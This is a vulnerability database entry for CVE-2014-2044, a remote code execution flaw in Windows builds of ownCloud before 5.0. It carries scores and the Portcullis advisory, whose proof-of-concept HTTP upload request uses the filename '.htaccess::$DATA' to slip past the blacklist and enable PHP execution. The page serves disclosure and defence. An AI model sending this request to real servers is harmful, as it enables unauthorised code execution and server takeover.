CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Incomplete blacklist vulnerability in ajax/upload.php in ownCloud before 5.0, when running on Windows, allows remote authenticated users to bypass intended access restrictions, upload files with arbitrary names, and execute arbitrary code via an Alternate Data Stream (ADS) syntax in the filename parameter, as demonstrated using .htaccess::$DATA to upload a PHP program.
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
43.66%
–
–
2023-03-12
–
–
–
18.26%
–
2023-06-18
–
–
–
18.62%
–
2023-07-09
–
–
–
18.62%
–
2023-09-17
–
–
–
18.42%
–
2024-02-11
–
–
–
16.08%
–
2024-04-07
–
–
–
16.17%
–
2024-06-02
–
–
–
18.51%
–
2024-10-06
–
–
–
18.91%
–
2024-12-22
–
–
–
14.29%
–
2025-01-19
–
–
–
14.29%
–
2025-03-18
–
–
–
–
7.14%
2025-03-30
–
–
–
–
13.92%
2025-03-30
–
–
–
–
13.92,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Vulnerability title: Remote Code Execution in ownCloud
CVE: CVE-2014-2044
Vendor: ownCloud
Product: ownCloud
Affected version: 4.0.x & 4.5.x
Fixed version: 5.0
Reported by: Alejo Murillo Moya
Details:
A remote code execution has been found and confirmed within ownCloud as
an authenticated user. A successful attack could allow an authenticated
attacker to execute PHP code, which could lead to a full compromise of
the server and associated infrastructure. Please note that only the
Windows versions of ownCloud are affected and that valid credentials are
required.
It is possible to create a custom .htaccess into the user's folder on
Windows version of the application, which will enable PHP execution on
the folder. This vulnerability exists because it is possible to bypass
the internal blacklists using Windows ADS (Alternate Data Streams).
Proof Of Concept:
POST /owncloud_5.0.14a/owncloud/?app=files&getfile=ajax%2Fupload.php HTTP/1.1
[...]
Content-Type: multipart/form-data; boundary=---------------------------21191376031994875607185408411
Requesttoken: None
-----------------------------21191376031994875607185408411
Content-Disposition: form-data; name="MAX_FILE_SIZE"
536870912
-----------------------------21191376031994875607185408411
Content-Disposition: form-data; name="requesttoken"
None
-----------------------------21191376031994875607185408411
Content-Disposition: form-data; name="dir"
/
-----------------------------21191376031994875607185408411
Content-Disposition: form-data; name="files[]"; filename=".htaccess::$DATA"
Content-Type: text/plain
<PUT YOUR TEXT HERE>
-----------------------------21191376031994875607185408411--
Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2044/
Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights
reserved worldwide. Permission is hereby granted for the electronic
redistribution of this information. It is not to be edited or altered in
any way without the express written consent of Portcullis Computer
Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties, implied or otherwise, with regard to this information
or its use. Any use of this information is at the user's risk. In no
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Limited) be held liable for any damages whatsoever arising out of or in
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Products Mentioned
Configuraton 0
Owncloud>>Owncloud >> Version To (including) 4.5.13